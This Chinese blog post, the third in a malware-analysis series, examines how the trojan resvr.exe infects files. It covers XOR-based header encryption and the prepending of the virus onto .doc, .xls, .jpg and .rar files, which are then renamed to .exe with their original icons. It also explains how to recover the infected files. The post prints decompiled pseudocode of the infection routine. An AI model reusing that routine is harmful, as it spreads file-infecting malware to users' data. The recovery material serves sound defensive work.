一个感染性木马病毒分析(三)--文件的修复

一、 序言

前面的分析一个感染型木马病毒分析(二)中,已经将该感染性木马病毒resvr.exe木马性的一面分析了一下,下面就将该感染性木马病毒resvr.exe感染性的一面分析一下。

二、文件感染方式的分析

之前感染性木马病毒的分析中,已经提到了病毒对于用户文件的感染方式有2种,分别是加密文件和感染文件传播病毒,至于文件感染的时候采取哪种感染方式,病毒母体文件和病毒母体衍生病毒文件中都有相关的标志位。

第1种感染文件的方式

前面分析的感染性木马病毒的木马性一面的过程中有下面一组远程控制命令RevCmdBuffer(如图)设置病毒进程感染文件的感染方式的标记0xAABBCCDD。

在后面病毒进程感染用户文件的时候,有对感染文件方式的判断,具体的判断依据是感染标记0xAABBCCDD(如图)。当地址0x402120处的感染标记为0xAABBCCDD时,采用第一种感染文件的方式感染(加密文件的方式)。

第1种感染文件的方式的具体方法是 不对用户系统磁盘里的文件的格式进行筛选,只要是用户系统磁盘里的文件就进行加密处理。打开用户文件,创建内存映射,以先异或后加4的方式对用户文件的头0x400个字节的数据进行加密处理。

第2种感染文件的方式

当地址0x402120处没有感染标记0xAABBCCDD时,采用第2种感染文件的方式(感染文件传播病毒)。这种感染文件的方式 会对用户系统磁盘里的文件进行筛选,仅仅对用户系统磁盘里的.doc、.xls、.jpg、.rar格式的文件进行感染处理。

病毒母体文件resvr.exe感染.doc、.xls、.jpg、.rar格式的用户文件的具体过程如下面的代码。

int __stdcall InfectedFileOfHide_4035BD(LPCSTR lpUserFilePath, int lpUserFileEx, int nNumber)
{
	int _hUserFile; // [email protected]
	signed int nUserFileSize; // [email protected]
	HANDLE hModuleVirusesFile; // [email protected]
	DWORD nVirusesModulesize; // [email protected]
	HGLOBAL lpMemoryAlloc; // [email protected]
	HGLOBAL __lpMemoryAlloc; // [email protected]
	__int64 nFileExFilexOffset; // [email protected]
	CHAR *lpUserFilePathBuffer; // [email protected]
	int lpUserFilePathPtr; // [email protected]
	DWORD NumberOfBytesWritten; // [sp+0h] [bp-228h]@7
	DWORD NumberOfBytesRead; // [sp+4h] [bp-224h]@7
	LPCVOID _lpMemoryAlloc; // [sp+8h] [bp-220h]@7
	DWORD nVirusesAndUserFileSize; // [sp+Ch] [bp-21Ch]@5
	DWORD _nUserFileSize; // [sp+10h] [bp-218h]@2
	DWORD nNumberOfBytesVirusesFileToRead; // [sp+14h] [bp-214h]@5
	HANDLE hUserFile; // [sp+18h] [bp-210h]@2
	HANDLE hVirusesHandle; // [sp+1Ch] [bp-20Ch]@5
	CHAR szUserFilePathBuffer; // [sp+20h] [bp-208h]@7
	CHAR FileVirusesName; // [sp+124h] [bp-104h]@5

	// 打开需要感染处理的用户文件
	_hUserFile = (int)CreateFileA(lpUserFilePath, 0xC0000000, 0, 0, 3u, 0x80u, 0);
	if (_hUserFile != -1)
	{
		hUserFile = (HANDLE)_hUserFile;      

		// 获取需感染用户文件的大小
		nUserFileSize = GetFileSize((HANDLE)_hUserFile, &_nUserFileSize);

		// 当用户文件大小大于0x8000000或者大于4G时,不感染用户文件
		if (nUserFileSize > 0x8000000 || _nUserFileSize)
		{
			_hUserFile = CloseHandle(hUserFile);
		}
		else
		{
			_nUserFileSize = nUserFileSize;         

			// 获取当前病毒进程模块的名称
			GetModuleFileNameA(0, &FileVirusesName, 0x104u);

			// 打开当前病毒进程的文件
			hModuleVirusesFile = CreateFileA(&FileVirusesName, 0x80000000, 3u, 0, 3u, 0x80u, 0);
			hVirusesHandle = hModuleVirusesFile;      

			// 获取当前病毒进程文件的大小
			nVirusesModulesize = GetFileSize(hModuleVirusesFile, &nNumberOfBytesVirusesFileToRead);
			nNumberOfBytesVirusesFileToRead = nVirusesModulesize;

			// 病毒进程感染用户文件之后,感染文件的总文件大小。
			nVirusesAndUserFileSize = _nUserFileSize + nVirusesModulesize;

			// 根据感染后文件的大小,申请内存空间
			lpMemoryAlloc = GlobalAlloc(0x40u, _nUserFileSize + nVirusesModulesize);
			if (lpMemoryAlloc)
			{
				_lpMemoryAlloc = lpMemoryAlloc;
				__lpMemoryAlloc = lpMemoryAlloc;        

				// 读取当前病毒进程的全部的PE文件数据到刚申请的内存中
				ReadFile(hVirusesHandle, lpMemoryAlloc, nNumberOfBytesVirusesFileToRead, &NumberOfBytesRead, 0);

				// 读取需要被感染用户文件的全部数据追加到内存的后面即紧接着在内存缓冲区后面存放原用户文件的数据
				ReadFile(hUserFile, (char *)__lpMemoryAlloc + nNumberOfBytesVirusesFileToRead,_nUserFileSize, &NumberOfBytesRead,
				0);                                   

				// 在标志[00402000]=11 11 11 11处即申请内存中,保存被感染用户文件的大小。
				setFileInfor_403B61((int)&_nUserFileSize, (int)_lpMemoryAlloc, dword_402000, (int)&_nUserFileSize, 4);

				// // 在标志[00402008]=22 22 22 22处即申请内存中,保存被感染用户文件的原后缀名。
				LODWORD(nFileExFilexOffset) = setFileInfor_403B61(
					(int)&lpUserFileEx,
					(int)_lpMemoryAlloc,
					dword_402008,
					(int)&lpUserFileEx,
					4);     

				// 提取被感染用户.doc、.xls、.jpg、.rar格式文件的图标资源,
				// 然后将感染后用户文件的资源图标修改为提取到被感染用户.doc、.xls、.jpg、.rar格式文件的图标。
				SetUserFileIcon_403573(nFileExFilexOffset, (int)_lpMemoryAlloc, nNumber);

				// 设置被感染用户文件的文件指针在文件头。
				SetFilePointer(hUserFile, 0, 0, 0);     

				// 将申请的内存中的(病毒母体文件的数据+被感染用户文件的数据)重新写回到被感染用户文件中
				// 此时感染后的用户文件变成了病毒母体衍生病毒文件
				WriteFile(hUserFile, _lpMemoryAlloc, nVirusesAndUserFileSize, &NumberOfBytesWritten, 0);

				// 释放申请的内存空间
				GlobalFree((HGLOBAL)_lpMemoryAlloc);  

				// 关闭文件句柄
				CloseHandle(hVirusesHandle);
				CloseHandle(hUserFile);                 

				// 保存被感染用户文件的路径字符串到szUserFilePathBuffer中。
				RtlMoveMemory(&szUserFilePathBuffer, lpUserFilePath, 0x104);
				lpUserFilePathBuffer = &szUserFilePathBuffer;// 

				// 设置被感染用户文件路径字符串的指针到末尾。
				while (*lpUserFilePathBuffer++ != 0)
					;
				*lpUserFilePathBuffer = 0;             

				// 将被感染用户文件路径字符串指针指向文件后缀名字符的位置如".xls"的首地址处
				lpUserFilePathPtr = (int)(lpUserFilePathBuffer - 5);

				// 将感染后的用户文件的文件后缀名改为"被感染用户文件的原文件名.exe"
				*(_DWORD *)lpUserFilePathPtr = 'exe.';  

				// 修改被感染用户文件的文件名称为"被感染用户文件的原文件名.exe"并将感染后的衍生病毒文件释放到被感染用户原文件路径下。
				_hUserFile = MoveFileA(lpUserFilePath, &szUserFilePathBuffer);

				if (!_hUserFile)
				{
					_hUserFile = GetLastError();
					// 如果被感染用户原文件路径下,已经存在"被感染用户文件的原文件名.exe"文件。
					if (_hUserFile == 0xB7)
					{
						// 恢复被感染用户文件的路径为原路径字符串即 "被感染用户文件原文件名.被感染用户文件原后缀名"
						*(_DWORD *)lpUserFilePathPtr = lpUserFileEx;

						// 修改被感染用户文件的路径字符串为"被感染用户文件原文件名.被感染用户文件原后缀名.exe"
						*(_DWORD *)(lpUserFilePathPtr + 4) = 'exe.';
						*(_DWORD *)(lpUserFilePathPtr + 8) = 0;

						// 在被感染用户原文件的路径下,创建"被感染用户文件原文件名.被感染用户文件原后缀名.exe"的衍生病毒文件。
						_hUserFile = MoveFileA(lpUserFilePath, &szUserFilePathBuffer);
					}
				}
			}
			else
			{
				//关闭文件句柄
				CloseHandle(hVirusesHandle);
				_hUserFile = CloseHandle(hUserFile);
			}
		}
	}
	return _hUserFile;
}

病毒母体文件resvr.exe感染.doc、.xls、.jpg、.rar格式的用户文件的具体流程如下。

三、被感染文件的修复

第1种感染方式文件的修复

对于被第1种感染方式处理的用户文件的修复比较简单,只需遍历被加密的用户文件,以内存映射的方式打开文件,对打开文件的头0x400个字节的数据的进行先减4(字节类型)后异或0x5FF80F64(DWORD型)的处理即可修复被感染加密处理的用户文件。修复被感染文件的难点是如何判断用户的文件是被这种感染方式处理的。

第2种感染方式文件的修复

这个感染方式对用户.doc、.xls、.jpg、.rar格式的文件的感染,其实就是病毒母体resvr.exe产生衍生病毒即产生病毒载体的过程。只要将上面提到的病毒感染用户文件的过程理解清楚了,恢复文件也不能。

病毒母体文件resvr.exe与衍生病毒载体的文件对比。

将病毒母体文件“resvr.exe”与衍生病毒文件“石林.xls.exe”进行16进制的对比,发现两处不同。

文件对比结果的第1处不同是恢复感染用户文件的关键,具体的说明如图。

当为病毒母体文件resvr.exe时,标记 1--0x11111111后面的值是0xFFFFFFFF,标记 2--0x22222222后面保存的默认文件后缀名为.xls。

当为衍生病毒文件时,标记 1--0x11111111后面的值是被感染用户文件原文件的大小,标记 2--0x22222222后面保存的被感染用户文件原文件的后缀名。

文件对比结果的第2处不同,对于恢复被感染的用户文件也是有帮助的。

病毒母体文件resvr.exe的大小为0x11200,在衍生病毒文件中从文件偏移FileOffset=0x11200到文件结尾的数据就是被用户感染.doc、.xls、.jpg、.rar格式的文件原文件的数据。

恢复方法总结

一、.获取被感染用户文件的原文件的大小

方法1、通过在衍生病毒文件中搜索0x11111111的位置即可获取原文件的大小,因为被感染用户文件原文件的字节大小信息保存在该位置+4的地方;

方法2、直接定位衍生病毒文件的偏移0x400的位置找到0x1111111,该位置+4的地方就是被感染用户文件原文件的字节大小的信息。

二、获取被感染用户文件的原文件的文件类型

方法1、通过在衍生病毒文件中搜索0x22222222的位置即可获取被感染用户文件原文件类型字符串,因为被感染用户文件原文件类型字符串信息保存在该位置+4的地方;

方法2、直接定位衍生病毒文件的偏移0x408的位置找到0x22222222,该位置+4的地方就是被感染用户文件原文件类型字符串信息。

三、获取被隐藏的原文件的文件的数据

由于衍生病毒隐藏用户文件的方式很简单,直接将用户文件(要被感染的用户文件原文件)紧接着放在病毒母体文件数据的后面,并将用户文件(要被感染的用户文件原文件)信息保存在病毒母体的文件数据中,并且病毒母体文件的大小为0x11200。


病毒母体文件数据(保存了被感染用户文件的信息)0x11200


被感染用户文件的原文件数据

因此,只要读取衍生病毒文件中病毒母体文件数据后面即文件偏移0x11200以后至文件末尾的数据,再重新创建一个文件被感染用户文件的原文件就可恢复了。

感染性木马病毒详细的分析完了,笔记也完成了,过程还是快乐的,加油!

版权声明:本文为博主原创文章,未经博主允许不得转载。

时间: 2024-11-04 14:05:07

一个感染性木马病毒分析(三)--文件的修复的相关文章

一个感染型木马病毒分析(二)

作者:龙飞雪 0x1序言 前面已经对感染型木马病毒resvr.exe的病毒行为进行了详细的分析见一个感染型木马病毒分析(一),可是认为还不够.不把这个感染型木马病毒的行为的亮点进行分析一下就有点遗憾了. 以下就针对该感染型木马病毒的感染性.木马性以及被感染文件的恢复几个方面进行详细的分析和说明.直观感受一下病毒的感染性.木马性质. 0x2病毒木马性的分析---远程控制用户的电脑 前面的分析中已经分析过了,该感染型木马病毒会在用户的电脑上创建socket套接字作为service端,等待病毒作者cl

一个Trojan木马病毒的分析(二)

一.基本信息 样本名称:hra33.dll或者lpk.dll 样本大小: 66560 字节 文件类型:Win32的dll文件 病毒名称:Dropped:Generic.ServStart.A3D47B3E 样本MD5:5B845C6FDB4903ED457B1447F4549CF0 样本SHA1:42E93156DBEB527F6CC104372449DC44BF477A03 这个样本文件是前面分析的Trojan木马病毒母体Rub.EXE释放到用户系统C:\WINDOWS\system32目录下

一个Trojan木马病毒的分析(一)

一.基本信息 样本名称:Rub.EXE 样本大小:21504 字节 病毒名称:Trojan.Win32.Rootkit.hv 加壳情况:UPX(3.07) 样本MD5:035C1ADA4BACE78DD104CB0E1D184043 样本SHA1: BAD1CE555443FC43484E0FACF8B88EA8756F78CB 病毒文件的组成: 病毒母体文件Rub.EXE   MD5:035C1ADA4BACE78DD104CB0E1D184043 病毒母体释放的文件owwesc.exe(随机

感染性的木马病毒分析之样本KWSUpreport.exe

一.病毒样本简述 初次拿到样本 KWSUpreport_感染.exe.v 文件,通过使用PE工具,并不能辨别出该样本是那种感染类型,使用了一个比较直接的方法,从网上查资料,获取到了该样本的正常EXE文件的一些信息,资料表明:KWSUpreport.exe 是2009年版金山网盾程序的一个上传用户报告的程序模块,因此从网上下载了该版本的金山网盾程序,获取到了正常的KWSUpreport.exe文件,经过OD的调试以及与感染KWSUpreport.exe文件的对比,能够确定获取到的KWSUprepo

病毒分析(三)-利用Process Monitor对熊猫烧香病毒进行行为分析

前两次随笔我介绍了手动查杀病毒的步骤,然而仅通过手动查杀根本无法仔细了解病毒样本的行为,这次我们结合Process Monitor进行动态的行为分析. Process Monitor Process Monitor一款系统进程监视软件,总体来说,Process Monitor相当于Filemon+Regmon,其中的Filemon专门用来监视系统 中的任何文件操作过程,而Regmon用来监视注册表的读写操作过程. 有了Process Monitor,使用者就可以对系统中的任何文件和 注册表操作同

木马病毒分析

一.木马病毒背景介绍 a) 特洛伊木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,具备破坏和删除文件.发送密码.记录键盘和攻击等功能,会使用户系统破坏甚至瘫痪. b) 1986年第一例计算机木马. 二.木马病毒的分类 a) 针对网游的木马病毒 b) 针对网银的木马病毒 c) 针对即时通讯工具的木马病毒 d) 给计算机开后门的木马病毒 e) 推广广告的木马病毒 三.木马病毒的发展阶段 a) 第一代木马:伪装性病毒 这种病毒通过伪装成一个合法性程序诱骗用户上当.世界上第一个计算机木马 是出

灰鸽子木马病毒分析

简介: 灰鸽子木马分为两部分:客户端和服务端. 黑客操控者客户端,利用客户端配置生成出一个服务端程序.服务端文件的名字默认为G_Server.exe,然后打开后门.开后门的手段有很多,比如,黑客可以将它与一张图片绑定,诱骗运行:也可以建立一个个人网页,诱骗点击,利用IE漏洞把木马下载到你的机器上并运行:还可以将文件上传到某个软件下载地点,诱骗用户下载. 运行过程: G_Server.exe运行后将自己拷贝到Windows目录下(98/xp下为系统盘的windows目录,2k/NT下为系统盘的Wi

第一个打击木马病毒查杀007一片:反向熊猫的分析(下一个)

        本系列文章的版权"I春天的"整个,转载请注明出处.         本文配套视频教程,请訪问"i春秋"(www.ichunqiu.com). 一.前言 这次我们会接着上一篇的内容继续对病毒进行分析. 分析中会遇到一些不一样的情况,毕竟之前的代码我们仅仅要依照流程顺序一步一步往下走,就行弄清楚病毒的行为.可是在接下来的代码中,假设依然如此,在某些分支中的重要代码就运行不到了.所以我们须要採取一些策略.走完每一个分支,彻底分析出病毒的行为. 二.病毒分析

PE文件加节感染之Win32.Loader.bx.V病毒分析

一.病毒名称:Win32.Loader.bx.V 二.分析工具:IDA 5.5.OllyDebug.StudPE 三.PE病毒简介: PE病毒感染的方式比较多,也比较复杂也比较难分析,下面就针对PE文件感染之加节的方式进行汇编层次的深度分析,其实说来惭愧,第一接触这个病毒样本的时候也有 点手足无措,最后还是在别人的指导下才顺利的分析下来,开始分析该样本的时候,仅仅关注这个样本是木马病毒这个特点而忽略他的PE感染的特性.下面就该样本的传播方 式进行逐一分析,其实还蛮怀恋分析样本的那些时间. 四.对